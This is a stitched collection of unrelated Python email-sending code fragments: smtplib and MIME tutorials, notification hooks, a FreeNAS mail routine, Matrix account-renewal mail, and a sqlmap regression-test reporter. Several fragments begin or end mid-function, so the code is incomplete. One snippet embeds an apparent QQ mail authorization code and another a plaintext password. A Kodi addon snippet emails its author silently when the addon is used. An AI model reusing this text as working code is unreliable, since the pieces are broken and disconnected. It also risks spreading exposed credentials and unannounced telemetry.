data = [['jave', '*****@*****.**'], ['shuhaoxiong', '*****@*****.**'], ['xiaofei', '*****@*****.**']] # 写入收件人数据 with open('to_addrs.csv', 'w', newline='') as f: writer = csv.writer(f) for row in data: writer.writerow(row) # 读取收件人数据,并启动写信和发信流程 with open('to_addrs.csv', 'r') as t: reader = csv.reader(t) for row in reader: to_addrs = row[1] msg = MIMEText(text, 'plain', 'utf-8') # 邮件头信息 msg['from'] = Header('Jave<%s>' % from_addr) # msg['To'] = Header(",".join(to_addrs)) msg['To'] = Header(to_addrs) msg['Subject'] = Header('邮件测试3') # 开启发信服务,这里使用的是加密传输 server = smtplib.SMTP_SSL() # SMTP服务器地址是:smtp.qq.com,默认端口号25、qq邮箱端口是465或587 server.connect('smtp.qq.com', 465) # username:登录邮箱的用户名 #password:登录密码/授权码 server.login(from_addr, maile_password)
def create_Message_with_attachment(sender, to, subject, message_text_plain, message_text_html, attached_file): """Create a message for an email. message_text: The text of the email message. attached_file: The path to the file to be attached. Returns: An object containing a base64url encoded email object. """ ##An email is composed of 3 part : #part 1: create the message container using a dictionary { to, from, subject } #part 2: attach the message_text with .attach() (could be plain and/or html) #part 3(optional): an attachment added with .attach() ## Part 1 message = MIMEMultipart( ) #when alternative: no attach, but only plain_text message['to'] = to message['from'] = sender message['subject'] = subject ## Part 2 (the message_text) # The order count: the first (html) will be use for email, the second will be attached (unless you comment it) message.attach(MIMEText(message_text_html, 'html')) message.attach(MIMEText(message_text_plain, 'plain')) ## Part 3 (attachement) # # to attach a text file you containing "test" you would do: # # message.attach(MIMEText("test", 'plain')) #-----About MimeTypes: # It tells gmail which application it should use to read the attachement (it acts like an extension for windows). # If you dont provide it, you just wont be able to read the attachement (eg. a text) within gmail. You'll have to download it to read it (windows will know how to read it with it's extension). #-----3.1 get MimeType of attachment #option 1: if you want to attach the same file just specify it’s mime types #option 2: if you want to attach any file use mimetypes.guess_type(attached_file) my_mimetype, encoding = mimetypes.guess_type(attached_file) # If the extension is not recognized it will return: (None, None) # If it's an .mp3, it will return: (audio/mp3, None) (None is for the encoding) #for unrecognized extension it set my_mimetypes to 'application/octet-stream' (so it won't return None again). if my_mimetype is None or encoding is not None: my_mimetype = 'application/octet-stream' main_type, sub_type = my_mimetype.split('/', 1) # split only at the first '/' # if my_mimetype is audio/mp3: main_type=audio sub_type=mp3 #-----3.2 creating the attachement #you don't really "attach" the file but you attach a variable that contains the "binary content" of the file you want to attach #option 1: use MIMEBase for all my_mimetype (cf below) - this is the easiest one to understand #option 2: use the specific MIME (ex for .mp3 = MIMEAudio) - it's a shorcut version of MIMEBase #this part is used to tell how the file should be read and stored (r, or rb, etc.) if main_type == 'text': print("text") temp = open( attached_file, 'r' ) # 'rb' will send this error: 'bytes' object has no attribute 'encode' attachement = MIMEText(temp.read(), _subtype=sub_type) temp.close() elif main_type == 'image': print("image") temp = open(attached_file, 'rb') attachement = MIMEImage(temp.read(), _subtype=sub_type) temp.close() elif main_type == 'audio': print("audio") temp = open(attached_file, 'rb') attachement = MIMEAudio(temp.read(), _subtype=sub_type) temp.close() elif main_type == 'application' and sub_type == 'pdf': temp = open(attached_file, 'rb') attachement = MIMEApplication(temp.read(), _subtype=sub_type) temp.close() else: attachement = MIMEBase(main_type, sub_type) temp = open(attached_file, 'rb') attachement.set_payload(temp.read()) temp.close() #-----3.3 encode the attachment, add a header and attach it to the message encoders.encode_base64( attachement) #https://docs.python.org/3/library/email-examples.html filename = os.path.basename(attached_file) attachement.add_header('Content-Disposition', 'attachment', filename=filename) # name preview in email message.attach(attachement) ## Part 4 encode the message (the message should be in bytes) message_as_bytes = message.as_bytes( ) # the message should converted from string to bytes. message_as_base64 = base64.urlsafe_b64encode( message_as_bytes) #encode in base64 (printable letters coding) raw = message_as_base64.decode( ) # need to JSON serializable (no idea what does it means) return {'raw': raw}
msg['To'] = "*****@*****.**" # html message body html = """\ <html> <head></head> <body> <p>Hi!<br> This email was sent with Python. Please see attached.<br> Here is a <a href="http://www.python.org">link</a>. </p> </body> </html> """ # plain text can also be sent with "text" instead of "html" msg.attach(MIMEText(html, 'html')) # email attachment attachment = open("attachment.pdf", "rb") p = MIMEBase("application", "octet-stream") # payload object p.set_payload(attachment.read()) encoders.encode_base64(p) p.add_header("Content-Disposition", "attachment; filename=attachment.pdf") msg.attach(p) # send mail text = msg.as_string() server.sendmail("*****@*****.**", "*****@*****.**", text)
from email.mime.base import MIMEBase from email import encoders email_user = '******' #Enter sender's mail. email_password = '******' #Enter sender's mail email_password email_send = 'recipient_email' #Enter reveiver's email. subject = 'subject' msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_send msg['Subject'] = subject body = 'Hi there, sending this email from Python!' msg.attach(MIMEText(body,'plain')) filename='filename' try: attachment =open(filename,'rb') part = MIMEBase('application','octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition',"attachment; filename= "+filename) msg.attach(part) text = msg.as_string() except Exception as p: print(p)
# 读取背景图片url并保存在S:\master\self_learning\Python\learn-python\bing_pic\html\****_**_**.jpg中 url = getBGURL() html = urllib.request.urlretrieve(url, filename=name()) # 将图片使用163邮箱发送出去 username = '******' password = open('password.txt').readline() receivers = ','.join(['*****@*****.**', '*****@*****.**']) msg = MIMEMultipart() msg["Subject"] = time.strftime('year:%Y-month:%m-date:%d', time.localtime(time.time())) + ' Bing Today' msg['From'] = username msg['To'] = receivers text = MIMEText("This is Bing Today, hope you a good mood!!") msg.attach(text) jpg = MIMEApplication(open(name(), 'rb').read()) jpg.add_header('Content-Disposition', 'attachment', filename='picture.jpg') msg.attach(jpg) try: client = smtplib.SMTP() client.connect('smtp.163.com') client.login(username, password) client.sendmail(username, receivers, msg.as_string()) client.quit() print('带有必应今日美图的邮件发送成功!') except smtplib.SMTPRecipientsRefused: print('Recipient refused')
Regards, Team Shimmer""".format(date=date.today()) attachfilename = 'data2.csv' # payload = MIMEApplication(open(attachfilename,'rb').read()) attachfile = open(attachfilename, 'rb') payload = MIMENonMultipart('text', 'csv', charset='utf-8') payload.set_payload(attachfile.read()) encoders.encode_base64(payload) payload.add_header('Content-Decomposition', 'attachment', filename="data.csv") message.attach(payload) else: mail_content = """ Hi Admin, No qoutes for '{date}'. Regards, Team Shimmer""".format(date=date.today()) print("Connecting") message.attach(MIMEText(mail_content, 'plain')) session = smtplib.SMTP_SSL('smtpout.secureserver.net', 465) # session.starttls() session.ehlo() session.login(sender_address, sender_password) text = message.as_string() session.sendmail(sender_address, reciever_address, text) session.quit() print('mail send')
from smtplib import SMTP_SSL host_server = 'smtp.qq.com'#qq邮箱smtp服务器 sender_qq = '*****@*****.**'#sender_qq为发件人的qq号码 pwd = 'levhyvzurhiebaai' ## levhyvzurhiebaai#pwd为qq邮箱的授权码 sender_qq_mail = '*****@*****.**'#发件人的邮箱 receivers = ['*****@*****.**','*****@*****.**']#收件人邮箱 mail_content = '你好,这是使用python登录qq邮箱发邮件的测试'#邮件的正文内容 mail_title = '张忠华的邮件'#邮件标题 smtp = SMTP_SSL(host_server)#ssl登录 smtp.set_debuglevel(1)#set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式 smtp.ehlo(host_server) smtp.login(sender_qq, pwd) msg = MIMEText(mail_content, "plain", 'utf-8') msg["Subject"] = Header(mail_title, 'utf-8') msg["From"] = sender_qq_mail msg["To"] = Header("接收者测试", 'utf-8') smtp.sendmail(sender_qq_mail, receivers, msg.as_string()) smtp.quit()
def run(self, suite_name, task_id, hook_event, hook_message=None, should_mail=False, mail_cc_list=None, should_shutdown=False, should_retrieve_job_logs=False): """ Invoke the hook for a suite. 1. For a task hook, if the task runs remotely, retrieve its log from the remote host. 2. If "should_mail", send an email notification to the current user, and those in the "mail_cc_list". 3. If "should_shutdown", shut down the suite. """ # Retrieve log and populate job logs database task_ids = [] if task_id and should_retrieve_job_logs: task_ids = [task_id] self.suite_engine_proc.job_logs_pull_remote(suite_name, task_ids) # Send email notification if required email_exc = None if should_mail: text = "" if task_id: text += "Task: %s\n" % task_id if hook_message: text += "Message: %s\n" % hook_message url = self.suite_engine_proc.get_suite_log_url(None, suite_name) text += "See: %s\n" % (url) user = pwd.getpwuid(os.getuid()).pw_name conf = ResourceLocator.default().get_conf() host = conf.get_value(["rose-suite-hook", "email-host"], default="localhost") msg = MIMEText(text) msg["From"] = user + "@" + host msg["To"] = msg["From"] if mail_cc_list: mail_cc_addresses = [] for mail_cc_address in mail_cc_list: if "@" not in mail_cc_address: mail_cc_address += "@" + host mail_cc_addresses.append(mail_cc_address) msg["Cc"] = ", ".join(mail_cc_addresses) mail_cc_list = mail_cc_addresses else: mail_cc_list = [] msg["Subject"] = "[%s] %s" % (hook_event, suite_name) smtp_host = conf.get_value(["rose-suite-hook", "smtp-host"], default="localhost") try: smtp = SMTP(smtp_host) smtp.sendmail(msg["From"], [msg["To"]] + mail_cc_list, msg.as_string()) smtp.quit() except (socket.error, SMTPException) as email_exc: pass # Shut down if required if should_shutdown: self.suite_engine_proc.shutdown(suite_name, args=["--kill"]) if email_exc is not None: raise
filter_data = get_info(alldata, 'FILTER') html = html + '各bit数据分布<br>' + filter_data lack_data = get_info(alldata, '缺失') html = html + '数据缺失情况<br>' + lack_data remain_data = get_info(alldata) html = html + '其他数据信息<br>' + remain_data html_content = html_content % (html) print html_content msg = MIMEMultipart('related') msg['From'] = sender msg['Subject'] = subject msg['To'] = COMMASPACE.join(receiver) print msg['To'] msg.attach(MIMEText(text, 'html', 'utf-8')) try: smtp = smtplib.SMTP() smtp.connect('abc.com') smtp.sendmail(sender, receiver, msg.as_string()) print 'send mail secuessfully' except smtplib.SMTPException: print 'Error:send failed' smtp.quit() #send_mail(sender, receiver, subject, html_content) print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), "send mail"
def _send_renewal_email(self, user_id, expiration_ts): """Sends out a renewal email to every email address attached to the given user with a unique link allowing them to renew their account. Args: user_id (str): ID of the user to send email(s) to. expiration_ts (int): Timestamp in milliseconds for the expiration date of this user's account (used in the email templates). """ addresses = yield self._get_email_addresses_for_user(user_id) # Stop right here if the user doesn't have at least one email address. # In this case, they will have to ask their server admin to renew their # account manually. # We don't need to do a specific check to make sure the account isn't # deactivated, as a deactivated account isn't supposed to have any # email address attached to it. if not addresses: return try: user_display_name = yield self.store.get_profile_displayname( UserID.from_string(user_id).localpart) if user_display_name is None: user_display_name = user_id except StoreError: user_display_name = user_id renewal_token = yield self._get_renewal_token(user_id) url = "%s_matrix/client/unstable/account_validity/renew?token=%s" % ( self.hs.config.public_baseurl, renewal_token, ) template_vars = { "display_name": user_display_name, "expiration_ts": expiration_ts, "url": url, } html_text = self._template_html.render(**template_vars) html_part = MIMEText(html_text, "html", "utf8") plain_text = self._template_text.render(**template_vars) text_part = MIMEText(plain_text, "plain", "utf8") for address in addresses: raw_to = email.utils.parseaddr(address)[1] multipart_msg = MIMEMultipart("alternative") multipart_msg["Subject"] = self._subject multipart_msg["From"] = self._from_string multipart_msg["To"] = address multipart_msg["Date"] = email.utils.formatdate() multipart_msg["Message-ID"] = email.utils.make_msgid() multipart_msg.attach(text_part) multipart_msg.attach(html_part) logger.info("Sending renewal email to %s", address) yield make_deferred_yieldable( self.sendmail( self.hs.config.email_smtp_host, self._raw_from, raw_to, multipart_msg.as_string().encode("utf8"), reactor=self.hs.get_reactor(), port=self.hs.config.email_smtp_port, requireAuthentication=self.hs.config.email_smtp_user is not None, username=self.hs.config.email_smtp_user, password=self.hs.config.email_smtp_pass, requireTransportSecurity=self.hs.config. require_transport_security, )) yield self.store.set_renewal_mail_status(user_id=user_id, email_sent=True)
''' A simple script that allows you to let the author know that the addon is being used. Its nice to feel appeciated! ''' import smtplib from email.mime.text import MIMEText import xbmcaddon import time thyme = time.time() recipient = '*****@*****.**' body = '<table border="1">' body += '<tr><td>%s</td></tr>' % "I'm using the addon!" body += '</table>' msg = MIMEText(body, 'html') msg['Subject'] = 'LazyTV +1 %s' % thyme msg['From'] = 'LazyTV' msg['To'] = recipient msg['X-Mailer'] = 'LazyTV Shout Out %s' % thyme smtp = smtplib.SMTP('alt4.gmail-smtp-in.l.google.com') smtp.sendmail(msg['From'], msg['To'], msg.as_string(9)) smtp.quit() _addon_ = xbmcaddon.Addon('script.lazytv') _addon_.setSetting(id="shout",value='true')
def send_email_to_person(self, recepient_email, message): try: self.config_reader = ConfigReader() self.configuration = self.config_reader.read_config() # instance of MIMEMultipart self.msg = MIMEMultipart() # storing the senders email address self.msg['From'] = self.configuration['SENDER_EMAIL'] # storing the receivers email address self.msg['To'] = ",".join(recepient_email) # storing the subject self.msg['Subject'] = self.configuration['EMAIL_SUBJECT'] # string to store the body of the mail #body = "This will contain attachment" body = message # attach the body with the msg instance self.msg.attach(MIMEText(body, 'html')) # instance of MIMEBase and named as p self.p = MIMEBase('application', 'octet-stream') # creates SMTP session self.smtp = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security self.smtp.starttls() # Authentication self.smtp.login(self.msg['From'], self.configuration['PASSWORD']) # Converts the Multipart msg into a string self.text = self.msg.as_string() # sending the mail self.smtp.sendmail(self.msg['From'], recepient_email, self.text) # terminating the session self.smtp.quit() except Exception as e: print('the exception is ' + str(e)) # def send_email_to_support(self,cust_name,cust_email,cust_contact,course_name,body): # try: # self.config_reader = ConfigReader() # self.configuration = self.config_reader.read_config() # # # instance of MIMEMultipart # self.msg = MIMEMultipart() # # # storing the senders email address # self.msg['From'] = self.configuration['SENDER_EMAIL'] # # # # storing the subject # self.msg['Subject'] = self.configuration['SALES_TEAM_EMAIL_SUBJECT'] # # # string to store the body of the mail # # body = "This will contain attachment" # # body = body.replace('cust_name',cust_name) # body = body.replace('cust_contact', cust_contact) # body = body.replace('cust_email', cust_email) # body = body.replace('course_name', course_name) # # # attach the body with the msg instance # self.msg.attach(MIMEText(body, 'html')) # # # instance of MIMEBase and named as p # self.p = MIMEBase('application', 'octet-stream') # # # # creates SMTP session # self.smtp = smtplib.SMTP('smtp.gmail.com', 587) # # # start TLS for security # self.smtp.starttls() # # # Authentication # self.smtp.login(self.msg['From'], self.configuration['PASSWORD']) # # # Converts the Multipart msg into a string # self.text = self.msg.as_string() # # # sending the mail # # self.support_team_email = self.configuration['SALES_TEAM_EMAIL'] # # self.smtp.sendmail(self.msg['From'], self.support_team_email, self.text) # # # terminating the session # self.smtp.quit() # except Exception as e: # print('the exception is ' + str(e))
from email.mime.text import MIMEText import smtplib import time msg = MIMEText('Hello , you are sb', 'plain', 'utf-8') from_addr = '*****@*****.**' password = '******' to_addr = '*****@*****.**' HOST = 'smtp.163.com' PORT = '25' """from_addr=input('From:') password=input('Password:'******'To:') smtp_server=input('SMTP server:') server=smtplib.SMTP(smtp_server,25) server.set_debuglevel(1) server.login(from_addr,password) server.sendmail(from_addr,[to_addr],msg.as_string()) server.quit()""" smtp_obj = smtplib.SMTP() bz = 1 #while bz: # try: smtp_obj.connect(host=HOST, port=PORT) # except NewConnectionError: # print("HTTP请求失败!!!正在重发...") # else: # bz=0 # time.sleep(2) res = smtp_obj.login(user=from_addr, password=password) print('login result: ', res)
import smtplib from email.mime.text import MIMEText from email.header import Header smtpserver='smtp.sina.com' user='******' password='******' sender='*****@*****.**' receiver='*****@*****.**' subject='Python email test' msg=MIMEText('<html><h1>你好!</h1></html>','html','utf-8') msg['Subject']=Header(subject,'utf-8') smtp=smtplib.SMTP() smtp.connect(smtpserver,25) smtp.login(user,password) smtp.sendmail(sender,receiver,msg.as_string()) smtp.quit()
def set_content(self,msg): self.msg['From'] = self._format_addr('发件人<{}>'.format(self.sender)) self.msg['To'] = self._format_addr('收件人<{}>'.format(self.receiver)) self.msg['Subject'] = Header(self.subject, 'utf-8').encode() self.msg.attach(MIMEText(msg,'plain','utf-8'))
def send_email(self, alert): """Attempt to send an email for the provided alert, compiling the subject and text template and using all the other smtp settings that were specified in the configuration file """ contacts = list(OPTIONS['mail_to']) LOG.debug('Initial contact list: %s', contacts) if 'group_rules' in OPTIONS and len(OPTIONS['group_rules']) > 0: LOG.debug('Checking %d group rules' % len(OPTIONS['group_rules'])) for rule in OPTIONS['group_rules']: LOG.info('Evaluating rule %s', rule['name']) is_matching = False for field in rule['fields']: LOG.debug('Evaluating rule field %s', field) value = getattr(alert, field['field'], None) if value is None: LOG.warning('Alert has no attribute %s', field['field']) break if self._rule_matches(field['regex'], value): is_matching = True else: is_matching = False break if is_matching: # Add up any new contacts new_contacts = [ x.strip() for x in rule['contacts'] if x.strip() not in contacts ] if len(new_contacts) > 0: if not rule.get('exclude', False): LOG.debug('Extending contact to include %s' % (new_contacts)) contacts.extend(new_contacts) else: LOG.info('Clearing initial list of contacts and' ' adding for this rule only') del contacts[:] contacts.extend(new_contacts) # Don't loose time (and try to send an email) if there is no contact... if not contacts: return template_vars = { 'alert': alert, 'mail_to': contacts, 'dashboard_url': OPTIONS['dashboard_url'], 'program': os.path.basename(sys.argv[0]), 'hostname': platform.uname()[1], 'now': datetime.datetime.utcnow() } subject = self._subject_template.render(alert=alert) text = self._template_env.get_template( self._template_name).render(**template_vars) if (OPTIONS['email_type'] == 'html' and self._template_name_html): html = self._template_env.get_template( self._template_name_html).render(**template_vars) else: html = None msg = MIMEMultipart('alternative') msg['Subject'] = Header(subject, 'utf-8').encode() msg['From'] = OPTIONS['mail_from'] msg['To'] = ", ".join(contacts) msg.preamble = msg['Subject'] # by default we are going to assume that the email is going to be text msg_text = MIMEText(text, 'plain', 'utf-8') msg.attach(msg_text) if html: msg_html = MIMEText(html, 'html', 'utf-8') msg.attach(msg_html) try: self._send_email_message(msg, contacts) LOG.debug('%s : Email sent to %s' % (alert.get_id(), ','.join(contacts))) return (msg, contacts) except smtplib.SMTPException as e: LOG.error('Failed to send mail to %s on %s:%s : %s', ", ".join(contacts), OPTIONS['smtp_host'], OPTIONS['smtp_port'], e) return None except (socket.error, socket.herror, socket.gaierror) as e: LOG.error('Mail server connection error: %s', e) return None except Exception as e: LOG.error('Unexpected error while sending email: {}'.format( str(e))) # nopep8 return None
def send_raw(self, job, message, config): config = dict(self.middleware.call_sync('mail.config'), **config) if config['fromname']: from_addr = Header(config['fromname'], 'utf-8') try: config['fromemail'].encode('ascii') except UnicodeEncodeError: from_addr.append(f'<{config["fromemail"]}>', 'utf-8') else: from_addr.append(f'<{config["fromemail"]}>', 'ascii') else: try: config['fromemail'].encode('ascii') except UnicodeEncodeError: from_addr = Header(config['fromemail'], 'utf-8') else: from_addr = Header(config['fromemail'], 'ascii') interval = message.get('interval') if interval is None: interval = timedelta() else: interval = timedelta(seconds=interval) sw_name = self.middleware.call_sync('system.info')['version'].split( '-', 1)[0] channel = message.get('channel') if not channel: channel = sw_name.lower() if interval > timedelta(): channelfile = '/tmp/.msg.%s' % (channel) last_update = datetime.now() - interval try: last_update = datetime.fromtimestamp( os.stat(channelfile).st_mtime) except OSError: pass timediff = datetime.now() - last_update if (timediff >= interval) or (timediff < timedelta()): # Make sure mtime is modified # We could use os.utime but this is simpler! with open(channelfile, 'w') as f: f.write('!') else: raise CallError( 'This message was already sent in the given interval') verrors = self.__password_verify(config['pass'], 'mail-config.pass') if verrors: raise verrors to = message.get('to') if not to: to = [ self.middleware.call_sync('user.query', [('username', '=', 'root')], {'get': True})['email'] ] if not to[0]: raise CallError('Email address for root is not configured') if message.get('attachments'): job.check_pipe("input") def read_json(): f = job.pipes.input.r data = b'' i = 0 while True: read = f.read(1048576) # 1MiB if read == b'': break data += read i += 1 if i > 50: raise ValueError( 'Attachments bigger than 50MB not allowed yet') if data == b'': return None return json.loads(data) attachments = read_json() else: attachments = None if 'html' in message or attachments: msg = MIMEMultipart() msg.preamble = 'This is a multi-part message in MIME format.' if 'html' in message: msg2 = MIMEMultipart('alternative') msg2.attach( MIMEText(message['text'], 'plain', _charset='utf-8')) msg2.attach(MIMEText(message['html'], 'html', _charset='utf-8')) msg.attach(msg2) if attachments: for attachment in attachments: m = Message() m.set_payload(attachment['content']) for header in attachment.get('headers'): m.add_header(header['name'], header['value'], **(header.get('params') or {})) msg.attach(m) else: msg = MIMEText(message['text'], _charset='utf-8') msg['Subject'] = message['subject'] msg['From'] = from_addr msg['To'] = ', '.join(to) if message.get('cc'): msg['Cc'] = ', '.join(message.get('cc')) msg['Date'] = formatdate() local_hostname = socket.gethostname() msg['Message-ID'] = "<%s-%s.%s@%s>" % ( sw_name.lower(), datetime.utcnow().strftime("%Y%m%d.%H%M%S.%f"), base64.urlsafe_b64encode(os.urandom(3)), local_hostname) extra_headers = message.get('extra_headers') or {} for key, val in list(extra_headers.items()): # We already have "Content-Type: multipart/mixed" and setting "Content-Type: text/plain" like some scripts # do will break python e-mail module. if key.lower() == "content-type": continue if key in msg: msg.replace_header(key, val) else: msg[key] = val syslog.openlog(logoption=syslog.LOG_PID, facility=syslog.LOG_MAIL) try: if config['oauth']: self.middleware.call_sync('mail.gmail_send', msg, config) else: server = self._get_smtp_server(config, message['timeout'], local_hostname=local_hostname) # NOTE: Don't do this. # # If smtplib.SMTP* tells you to run connect() first, it's because the # mailserver it tried connecting to via the outgoing server argument # was unreachable and it tried to connect to 'localhost' and barfed. # This is because FreeNAS doesn't run a full MTA. # else: # server.connect() headers = '\n'.join([f'{k}: {v}' for k, v in msg._headers]) syslog.syslog(f"sending mail to {', '.join(to)}\n{headers}") server.sendmail(from_addr.encode(), to, msg.as_string()) server.quit() except Exception as e: # Don't spam syslog with these messages. They should only end up in the # test-email pane. # We are only interested in ValueError, not subclasses. if e.__class__ is ValueError: raise CallError(str(e)) syslog.syslog(f'Failed to send email to {", ".join(to)}: {str(e)}') if isinstance(e, smtplib.SMTPAuthenticationError): raise CallError( f'Authentication error ({e.smtp_code}): {e.smtp_error}', errno.EAUTH if osc.IS_FREEBSD else errno.EPERM) self.logger.warn('Failed to send email: %s', str(e), exc_info=True) if message['queue']: with MailQueue() as mq: mq.append(msg) raise CallError(f'Failed to send email: {e}') return True
def main(): global SUBJECT content = "" test_counts = [] attachments = {} updateproc = subprocess.Popen( "cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = updateproc.communicate() if stderr: failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) regressionproc = subprocess.Popen( "python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) stdout, stderr = regressionproc.communicate() if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) failed_tests = re.findall( "running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) for failed_test in failed_tests: title = failed_test[0] test_count = int(failed_test[1]) parse = failed_test[3] if failed_test[3] else None output_folder = failed_test[4] traceback = False if failed_test[5] == "False" else bool( failed_test[5]) detected = False if failed_test[6] else True test_counts.append(test_count) console_output_file = os.path.join(output_folder, "console_output") log_file = os.path.join(output_folder, TARGET, "log") traceback_file = os.path.join(output_folder, "traceback") if os.path.exists(console_output_file): console_output_fd = codecs.open(console_output_file, "rb", "utf8") console_output = console_output_fd.read() console_output_fd.close() attachments[test_count] = str(console_output) if os.path.exists(log_file): log_fd = codecs.open(log_file, "rb", "utf8") log = log_fd.read() log_fd.close() if os.path.exists(traceback_file): traceback_fd = codecs.open(traceback_file, "rb", "utf8") traceback = traceback_fd.read() traceback_fd.close() content += "Failed test case '%s' (#%d)" % (title, test_count) if parse: content += " at parsing: %s:\n\n" % parse content += "### Log file:\n\n" content += "%s\n\n" % log elif not detected: content += " - SQL injection not detected\n\n" else: content += "\n\n" if traceback: content += "### Traceback:\n\n" content += "%s\n\n" % str(traceback) content += "#######################################################################\n\n" end_string = "Regression test finished at %s" % time.strftime( "%H:%M:%S %d-%m-%Y", time.gmtime()) if content: content += end_string SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join( "#%d" % count for count in test_counts)) msg = prepare_email(content) for test_count, attachment in attachments.items(): attachment = MIMEText(attachment) attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count) msg.attach(attachment) send_email(msg) else: SUBJECT = "Successful %s" % SUBJECT msg = prepare_email("All test cases were successful\n\n%s" % end_string) send_email(msg)
def send_email_smtp( # pylint: disable=invalid-name,too-many-arguments,too-many-locals to: str, subject: str, html_content: str, config: Dict[str, Any], files: Optional[List[str]] = None, data: Optional[Dict[str, str]] = None, images: Optional[Dict[str, bytes]] = None, dryrun: bool = False, cc: Optional[str] = None, bcc: Optional[str] = None, mime_subtype: str = "mixed", ) -> None: """ Send an email with html content, eg: send_email_smtp( '*****@*****.**', 'foo', '<b>Foo</b> bar',['/dev/null'], dryrun=True) """ smtp_mail_from = config["SMTP_MAIL_FROM"] smtp_mail_to = get_email_address_list(to) msg = MIMEMultipart(mime_subtype) msg["Subject"] = subject msg["From"] = smtp_mail_from msg["To"] = ", ".join(smtp_mail_to) msg.preamble = "This is a multi-part message in MIME format." recipients = smtp_mail_to if cc: smtp_mail_cc = get_email_address_list(cc) msg["CC"] = ", ".join(smtp_mail_cc) recipients = recipients + smtp_mail_cc if bcc: # don't add bcc in header smtp_mail_bcc = get_email_address_list(bcc) recipients = recipients + smtp_mail_bcc msg["Date"] = formatdate(localtime=True) mime_text = MIMEText(html_content, "html") msg.attach(mime_text) # Attach files by reading them from disk for fname in files or []: basename = os.path.basename(fname) with open(fname, "rb") as f: msg.attach( MIMEApplication( f.read(), Content_Disposition="attachment; filename='%s'" % basename, Name=basename, )) # Attach any files passed directly for name, body in (data or {}).items(): msg.attach( MIMEApplication(body, Content_Disposition="attachment; filename='%s'" % name, Name=name)) # Attach any inline images, which may be required for display in # HTML content (inline) for msgid, imgdata in (images or {}).items(): image = MIMEImage(imgdata) image.add_header("Content-ID", "<%s>" % msgid) image.add_header("Content-Disposition", "inline") msg.attach(image) send_mime_email(smtp_mail_from, recipients, msg, config, dryrun=dryrun)
mail.smtp.host = lsmtp.sf-express.com mail.smtp.port = 25 ''' # ----------2.编辑邮件的内容------ file_path = report_abspath with open(report_abspath, "rb") as fp: mail_body = fp.read() msg = MIMEMultipart() msg["from"] = sender # 发件人 msg["to"] = ";".join(receiver) # 多个收件人list转str msg["subject"] = "自动化测试报告,请各位领导查收" # 主题 # 正文 body = MIMEText(mail_body, "html", "utf-8") msg.attach(body) # # 附件 # att = MIMEText(mail_body, "base64", "utf-8") # att["Content-Type"] = "application/octet-stream" # # # #att["Content-Disposition"] = 'attachment; filename="test_report.html"' # # # #att["Content-Disposition"] = 'attachment; filename=report_abspath' # att["Content-Disposition"] = 'attachment; filename=filename' # # # att["Content-Disposition"] = ("attachment"; filename=report_abspath) # msg.attach(att) # 附件 att = MIMEText(mail_body, "base64", "utf-8") att["Content-Type"] = "application/octet-stream" att.add_header(
from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage from string import Template from pathlib import Path from smtplib import SMTP # print(Path("unnamed.png")) template = Template(Path("template.html").read_text()) message = MIMEMultipart() message["from"] = "Jhon Doe" message["to"] = "*****@*****.**" message["subject"] = "This is test" body = template.substitute({"name": "Jhon"}) # body = template.substitute(name="Raj") message.attach(MIMEText(body, "html")) message.attach(MIMEImage(Path("unnamed.jpg").read_bytes())) with SMTP(host="smtp.gmail.com", port=587) as smtp: smtp.ehlo() smtp.starttls() smtp.login("*****@*****.**", "abc@123") smtp.send_message(message) print("Sent...")
import smtplib from email.mime.text import MIMEText # 等待用户输入,用户名,密码,收件人 from_address = input('From: ') to_address = input('To: ') password = input('Password: '******'smtp.qq.com', 25) # SMTP协议默认端口是25 # server.set_debuglevel(1) # server.login(from_address, password) msg = MIMEText('你好,我在学 Python 网络编程...', 'plain', 'utf-8') server.sendmail(from_address, [to_address], msg.as_string()) server.quit()
destination.split(":")[0], "chmod", "-R", "g+rwX", os.path.join(destination.split(":")[1], os.path.basename(rundir)) ] output.append(subprocess.check_output(cmd)) output.append("{}\tFinished uploading to {}".format( str(datetime.datetime.utcnow().isoformat()), destination)) duration = (datetime.datetime.utcnow() - starttime).total_seconds() h = int(duration / 3600) duration = duration % 3600 m = int(duration / 60) duration = int(duration % 60) output.append( "{}\tAll finished at cycle {}, total duration was {}h, {}m, {}s". format(datetime.datetime.utcnow().isoformat(), use_cycle, str(h), str(m), str(duration))) # Send an email notification try: msg = MIMEText("\n".join(output)) msg['To'] = ",".join(recipients) msg['Subject'] = "Cycle {} of run {} extracted and uploaded".format( use_cycle, os.path.basename(rundir)) msg['From'] = sender s = smtplib.SMTP("localhost") s.sendmail(msg['From'], recipients, msg.as_string()) s.quit() except: print("\n".join(output))
#!/usr/bin/python # -*- coding: UTF-8 -*- import smtplib from email.mime.text import MIMEText from email.header import Header sender = '*****@*****.**' receivers = ['*****@*****.**'] # 接收邮件,可设置为你的QQ邮箱或者其他邮箱 # 三个参数:第一个为文本内容,第二个 plain 设置文本格式,第三个 utf-8 设置编码 message = MIMEText('Python 邮件发送测试...', 'plain', 'utf-8') message['From'] = Header("菜鸟教程", 'utf-8') # 发送者 message['To'] = Header("测试", 'utf-8') # 接收者 subject = 'Python SMTP 邮件测试' message['Subject'] = Header(subject, 'utf-8') try: smtpObj = smtplib.SMTP('') smtpObj.sendmail(sender, receivers, message.as_string()) print("邮件发送成功") except smtplib.SMTPException: print("Error: 无法发送邮件")
